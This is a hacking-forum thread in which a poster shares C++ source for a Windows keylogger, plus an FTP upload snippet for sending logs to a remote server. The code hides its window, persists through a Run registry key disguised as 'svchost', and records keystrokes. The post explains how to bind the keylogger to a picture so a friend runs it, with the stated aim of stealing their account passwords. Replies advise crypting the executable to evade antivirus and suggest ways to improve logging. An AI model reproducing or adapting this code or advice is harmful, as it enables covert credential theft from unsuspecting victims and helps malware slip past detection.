

Forum:[Hack Forums](#)

Thread: [Simple C++ Keylogger \(Source Code Included\)](#)

Amun-Ra - October 12, 2010, 10:27 pm

Hey guys,

I posted a tutorial earlier on creating a keylogger in C/C++, but messed it up. I hope this covers for it!

What is a keylogger?

This probably is a ridiculous way to start off this post, cuz I bet a majority of you already know what they are. Anyway, here goes! Keyloggers are basically software that record keystrokes onto a log file. These log files are then either sent via ftp or email to the hacker, or they are read manually on the same computer by the hacker later.

What can I do with a keylogger?

The best way to use a keylogger, for not-really-illegal purposes is to steal your friend's account passwords! Yup! You can do that! Its pretty easy too. To avoid suspicion, you would need a binder and a cool picture (any ".jpeg" file would do). You can find information about binders in HF, just search it.

Now, the basic idea is this, you bind your keylogger to a picture file and send it to your friend. He thinks its just a picture (So he doesn't suspect anything). When he clicks it, your keylogger starts running in the background. It sends you logs of whatever he types. It attaches itself to the startup so that it starts every time your friend logs onto windows. It keeps sending you logs, and eventually, you'll know all his account passwords! Cooh huh? So how exactly do you make a keylogger in C++?

The Keylogger Code:

We shall be using the GetAsyncKeyState() function, it makes code easy for n00bs to read! There are two parts to the code. The first is the keylogger and the second is the ftp uploader!! Compile it yourself, make modifications and have fun!

Code (For the keylogger):

```
Code #include <windows.h>
#include <stdio.h>
#include <winuser.h>
```

```
#define BUFSIZE 80
```

```
int test_key(void);
int create_key(char *);
int get_keys(void);
```

```
int main(void)
{
    HWND stealth; /*creating stealth (window is not visible)*/
```

```

AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);

int test,create;
test=test_key();/*check if key is available for opening*/

if (test==2)/*create key*/
{
    char *path="c:\\%windir%\\svchost.exe";/*the path in which the file needs to be*/
    create=create_key(path);

}

int t=get_keys();

return t;
}

int get_keys(void)
{
    short character;
    while(1)
    {

        for(character=8;character<=222;character++)
        {
            if(GetAsyncKeyState(character)==-32767)
            {

                FILE *file;
                file=fopen("svchost.log","a+");
                if(file==NULL)
                {
                    return 1;
                }
                if(file!=NULL)
                {
                    if((character>=39)&&(character<=64))
                    {
                        fputc(character,file);
                        fclose(file);
                        break;
                    }
                    else if((character>64)&&(character<91))
                    {
                        character+=32;
                        fputc(character,file);
                        fclose(file);
                        break;
                    }
                    else

```

```

{
    switch(character)
    {
        case VK_SPACE:
            fputc(' ',file);
            fclose(file);
            break;
        case VK_SHIFT:
            fputs("[SHIFT]",file);
            fclose(file);
            break;
        case VK_RETURN:
            fputs("\n[ENTER]",file);
            fclose(file);
            break;
        case VK_BACK:
            fputs("[BACKSPACE]",file);
            fclose(file);
            break;
        case VK_TAB:
            fputs("[TAB]",file);
            fclose(file);
            break;
        case VK_CONTROL:
            fputs("[CTRL]",file);
            fclose(file);
            break;
        case VK_DELETE:
            fputs("[DEL]",file);
            fclose(file);
            break;
        case VK_OEM_1:
            fputs("[;:]",file);
            fclose(file);
            break;
        case VK_OEM_2:
            fputs("[/?]",file);
            fclose(file);
            break;
        case VK_OEM_3:
            fputs("[`~]",file);
            fclose(file);
            break;
        case VK_OEM_4:
            fputs("[[ {]",file);
            fclose(file);
            break;
        case VK_OEM_5:
            fputs("[\|]",file);
            fclose(file);
            break;
        case VK_OEM_6:
            fputs("[ ]]",file);
    }
}

```

```
fclose(file);
break;
case VK_OEM_7:
fputs("[\"\\"]",file);
fclose(file);
break;
/*case VK_OEM_PLUS:
fputc('+',file);
fclose(file);
break;
case VK_OEM_COMMA:
fputc(',',file);
fclose(file);
break;
case VK_OEM_MINUS:
fputc('-',file);
fclose(file);
break;
case VK_OEM_PERIOD:
fputc('.',file);
fclose(file);
break;*/
case VK_NUMPAD0:
fputc('0',file);
fclose(file);
break;
case VK_NUMPAD1:
fputc('1',file);
fclose(file);
break;
case VK_NUMPAD2:
fputc('2',file);
fclose(file);
break;
case VK_NUMPAD3:
fputc('3',file);
fclose(file);
break;
case VK_NUMPAD4:
fputc('4',file);
fclose(file);
break;
case VK_NUMPAD5:
fputc('5',file);
fclose(file);
break;
case VK_NUMPAD6:
fputc('6',file);
fclose(file);
break;
case VK_NUMPAD7:
fputc('7',file);
fclose(file);
```

```

        break;
        case VK_NUMPAD8:
            fputc('8',file);
            fclose(file);
            break;
        case VK_NUMPAD9:
            fputc('9',file);
            fclose(file);
            break;
        case VK_CAPITAL:
            fputs("[CAPS LOCK]",file);
            fclose(file);
            break;
        default:
            fclose(file);
            break;
    }
}
}
}
}
}
return EXIT_SUCCESS;
}

int test_key(void)
{
    int check;
    HKEY hKey;
    char path[BUFSIZE];
    DWORD buf_length=BUFSIZE;
    int reg_key;

    reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\Current
Version\\Run",0,KEY_QUERY_VALUE,&hKey);
    if(reg_key!=0)
    {
        check=1;
        return check;
    }

    reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);

    if((reg_key!=0)|| (buf_length>BUFSIZE))
        check=2;
    if(reg_key==0)
        check=0;

    RegCloseKey(hKey);
    return check;
}

```

```

int create_key(char *path)
{
    int reg_key,check;

    HKEY hkey;

    reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\Current
Version\\Run",&hkey);
    if(reg_key==0)
    {
        RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));
        check=0;
        return check;
    }
    if(reg_key!=0)
        check=1;

    return check;
}

```

Code (For the FTP Uploader):

```

Code #include <CkFtp2.h>
#include <CkString.h>

```

```

void ChilkatSample(void)
{
    CkFtp2 ftp;

    bool success;

    // Any string unlocks the component for the 1st 30-days.
    success = ftp.UnlockComponent("Anything for 30-day trial");
    if (success != true) {
        printf("%s\n",ftp.LastErrorText());
        return;
    }

    ftp.put_Hostname("ftp.chilkatsoft.com");
    ftp.put_Username("*****");
    ftp.put_Password("*****");

    // The default data transfer mode is "Active" as opposed to "Passive".

    // Connect and login to the FTP server.
    success = ftp.Connect();
    if (success != true) {
        printf("%s\n",ftp.LastErrorText());
        return;
    }

    // Change to the remote directory where the file will be uploaded.
    success = ftp.ChangeRemoteDir("junk");
}

```

```

if (success != true) {
    printf("%s\n",ftp.lastErrorText());
    return;
}

// Upload a file.
CkString localFilename;
localFilename = "hamlet.xml";
CkString remoteFilename;
remoteFilename = "hamlet.xml";

success = ftp.PutFile(localFilename,remoteFilename);
if (success != true) {
    printf("%s\n",ftp.lastErrorText());
    return;
}

ftp.Disconnect();

printf("File Uploaded!\n");
}

```

Most of the code wasn't written by me. But I think its one of the simplest keyloggers around. And it does what it's supposed to. Hope you like it, use it well.

Post your Comments and Suggestions!

EnJoY
~Amun-Ra

Amun-Ra - October 13, 2010, 6:34 am

Please comment on this, took a great deal of time to compile it! And if you like it, please rate it!

M-L-BeastZ - October 13, 2010, 3:11 pm

I wouldn't really call this much of tutorial...

s4m88 - October 13, 2010, 3:26 pm

could you upload a compiled link =/ reformatted pc dont have any pro lang's installed yet

Amun-Ra - October 13, 2010, 11:15 pm

(Oct 13, 2010 03:11 PM)M-L-BeastZ Wrote: [\[CITE\]](#) I wouldn't really call this much of tutorial...

Lol, thats why i didn't call it a tutorial M-L-BeastZ! The title never said "He's a tutorial explaining every line of code for making an ftp keylogger". I jus explained what they are, and put up some code. If you want a tutorial, I'll write one. But i dont think anyone here requires explanation for every line of code here. Besides, if you can't understand simple C++ and you dont know how to use google for it, DONT BLAME ME!

(Oct 13, 2010 03:26 PM)s4m88 Wrote: [\[CITE\]](#) could you upload a compiled link =/ reformatted pc dont have any pro lang's installed yet

Yup, definitely, I didn't do that cuz a lot off people complain that its a virus! But cmon, its a fucking keylogger, AV's have to give warnings about it right? I get n00b's writing shit all the time saying im passing on viruses and trojans. Anyway, since you asked for it, I'll put up a link ASAP.

EnJoY

cris036 - July 16, 2011, 3:51 pm

I maked it and my antivirus system told me it was a trojan is that so?

Aker15 - July 16, 2011, 4:32 pm

(Jul 16, 2011 03:51 PM)cris036 Wrote: [\[CITE\]](#) I maked it and my antivirus system told me it was a trojan is that so?

GetAsyncKeyState(), is detected by AV's you either need to actually make a quality keylogger or crypt this .exe file.

Anderson81 - July 17, 2011, 10:05 am

Is <http://www.chilkatsoft.com> libraries needed to run the FTP part of the program?

Tainted Star - July 17, 2011, 11:29 am

Thanks.

Looks awesome and worthy to be given time for compiling.

btw what part to edit to change what is written on the interface as in Keylogger's name or the 'About' thing ?

PoZHx - July 17, 2011, 11:43 am

You should use the real credits in your post:

<http://www.white-scorpion.nl/programs/keylogger.zip>

What I opened your program in debugger to view strings in your program? I'll have access to your FTP easily.

(Oct 12, 2010 10:27 PM)Amun-Ra Wrote: [\[CITE\]](#) The Keylogger Code:

We shall be using the GetAsyncKeyState() function, it makes code easy for n00bs to read!

That's abit disrespectful towards other members that are learning. Maybe it's you don't know how to make more efficient keylogger. As this will eat your CPU usage. Your logs are not even managed very well either. Your just going to get big block of text. No compression? No logging where text was associated with? How would we know if it's MSN or Internet browser?

(Oct 12, 2010 10:27 PM)Amun-Ra Wrote: [\[CITE\]](#) HWND stealth; /*creating stealth (window is not visible)*/

```
AllocConsole();  
stealth=FindWindowA("ConsoleWindowClass",NULL);  
ShowWindow(stealth,0);
```

Why would you even make a console if your just going to de-allocate it? Lol.

D_D - July 17, 2011, 1:10 pm

(Oct 13, 2010 03:11 PM)M-L-BeastZ Wrote: [\[CITE\]](#) I wouldn't really call this much of tutorial...

Who said this was a tutorial? Read the title...

Aker15 - July 17, 2011, 8:14 pm

(Jul 17, 2011 11:43 AM)PoZHx Wrote: [\[CITE\]](#) You should use the real credits in your post:

<http://www.white-scorpion.nl/programs/keylogger.zip>

What I opened your program in debugger to view strings in your program? I'll have access to your FTP easily.

That's abit disrespectful towards other members that are learning. Maybe it's you don't know how to make more efficient keylogger. As this will eat your CPU usage. Your logs are not even managed very well either. Your just going to get big block of text. No compression? No logging where text was associated with? How would we know if it's MSN or Internet browser?

Why would you even make a console if your just going to de-allocate it? Lol.Hahahaa so true :P, also GetaSynckKeyState(), is detected by most AV's also, you could do this for finding the iBrowser, check if firefox or chrome or internet 8 is running, and then put that in the text file and under that display the chars pressed, then when the window is closed, then if a different window is running use GetActiveWindow() assign it to a HWND and write to the text file etcetc..

mudassar - July 17, 2011, 9:37 pm

bro ,i run this code on vc++.some error which i face are

error C2065: 'VK_OEM_1' : undeclared identifier
error C2051: case expression not constant

help me to remove these errors..

misoxxx - July 20, 2011, 1:56 pm

Thanks I was looking for something like this.

dbxd - July 20, 2011, 4:56 pm

So this is just using a switch(selective structure) to do all the keylogging?

So it could be considered a "switch method" ?

ZeKiiTo - July 20, 2011, 5:02 pm

Looks great testing thanks bro :D

misoxxx - July 21, 2011, 3:13 am

Is there some method in c++ that tests if you are connected to website (for example Facebook) and if yes it starts logging?

wchief - July 21, 2011, 8:46 am

Thanks dude, this really helps me understand C++ and keyloggers :)

crunchium - September 21, 2011, 8:15 pm

hey mates why my MBAM and AVAST says that its a TROJAN when i run it?

panqnik - September 22, 2011, 6:41 am

(Oct 12, 2010 10:27 PM)Amun-Ra Wrote: [\[CITE\]](#) Now, the basic idea is this, you bind your keylogger to a picture file and send it to your friend. He thinks its just a picture (So he doesn't suspect anything).

You can't bind executable and non-exexutable file together.

Dbof - September 22, 2011, 8:18 am

(Sep 22, 2011 06:41 AM)panqnik Wrote: [\[CITE\]](#) You can't bind executable and non-exexutable file together.

And you are talking to a dead member.